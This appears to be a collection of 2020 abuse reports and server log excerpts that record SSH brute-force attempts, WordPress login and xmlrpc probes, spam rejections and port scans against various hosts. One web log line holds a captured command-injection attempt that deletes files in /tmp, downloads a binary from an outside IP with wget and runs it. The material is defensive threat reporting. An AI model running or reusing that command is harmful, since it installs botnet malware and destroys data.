xmlrpc attack

2400:6180:0:d1::755:4001 - - [26/Mar/2020:16:55:26 +0300] "POST /wp-login.php HTTP/1.1" 200 2790 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"

Sep  8 09:07:20 root sshd[25587]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=187.115.67.118 
...

"XSS Attack Detected via libinjection - Matched Data: XSS data found within ARGS_NAMES:

Sep  7 17:48:06 ms-srv sshd[33936]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.95.25.22  user=root
Sep  7 17:48:08 ms-srv sshd[33936]: Failed password for invalid user root from 103.95.25.22 port 31251 ssh2

Failed password for invalid user ts3 from 151.177.108.50 port 34136 ssh2

webserver:80 [07/Sep/2020]  "GET /shell?cd+/tmp;rm+-rf+*;wget+185.132.53.147/hakaibin/h4k4i.arm7;chmod+777+/tmp/h4k4i.arm7;sh+/tmp/h4k4i.arm7+hakai.Rep.Jaws HTTP/1.1" 404 397 "-" "Hello, world"

SMB Server BruteForce Attack

IP: 46.105.253.50
Ports affected
    Simple Mail Transfer (25) 
Abuse Confidence rating 19%
ASN Details
   AS16276 OVH SAS
   France (FR)
   CIDR 46.105.0.0/16
Log Date: 8/09/2020 7:03:02 AM UTC

Lines containing failures of 114.84.82.71
Sep  7 05:43:39 shared04 sshd[24382]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=114.84.82.71  user=r.r
Sep  7 05:43:40 shared04 sshd[24382]: Failed password for r.r from 114.84.82.71 port 45160 ssh2
Sep  7 05:43:41 shared04 sshd[24382]: Received disconnect from 114.84.82.71 port 45160:11: Bye Bye [preauth]
Sep  7 05:43:41 shared04 sshd[24382]: Disconnected from authenticating user r.r 114.84.82.71 port 45160 [preauth]
Sep  7 05:48:03 shared04 sshd[25993]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=114.84.82.71  user=r.r
Sep  7 05:48:05 shared04 sshd[25993]: Failed password for r.r from 114.84.82.71 port 46622 ssh2
Sep  7 05:48:06 shared04 sshd[25993]: Received disconnect from 114.84.82.71 port 46622:11: Bye Bye [preauth]
Sep  7 05:48:06 shared04 sshd[25993]: Disconnected from authenticating user r.r 114.84.82.71 port 46622 [preauth]


........
-----------------------------------

2020-09-07T19:48:25.373302sorsha.thespaminator.com sshd[6584]: Invalid user karstensen from 69.28.234.137 port 35480
2020-09-07T19:48:27.623519sorsha.thespaminator.com sshd[6584]: Failed password for invalid user karstensen from 69.28.234.137 port 35480 ssh2
...

Sep  7 18:47:43 icecube postfix/smtpd[56668]: NOQUEUE: reject: RCPT from smtp141.dingyie.com[52.175.10.214]: 450 4.7.1 : Helo command rejected: Host not found; from= to= proto=ESMTP helo=

139.99.148.4 has been banned for [WebApp Attack]
...

 TCP (SYN) 171.117.129.246:6652 -> port 23, len 40

89.115.245.50 - - [08/Sep/2020:10:28:31 +0200] "GET /wp-login.php HTTP/1.1" 200 8558 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
89.115.245.50 - - [08/Sep/2020:10:28:32 +0200] "POST /wp-login.php HTTP/1.1" 200 8809 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
89.115.245.50 - - [08/Sep/2020:10:28:33 +0200] "POST /xmlrpc.php HTTP/1.1" 200 427 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"

2020-09-07 11:42:03.296187-0500  localhost smtpd[72242]: NOQUEUE: reject: RCPT from unknown[107.172.211.78]: 554 5.7.1 Service unavailable; Client host [107.172.211.78] blocked using zen.spamhaus.org; https://www.spamhaus.org/sbl/query/SBLCSS; from= to= proto=ESMTP helo=<00fd8916.asainprodate.co>

MultiHost/MultiPort Probe, Scan, Hack -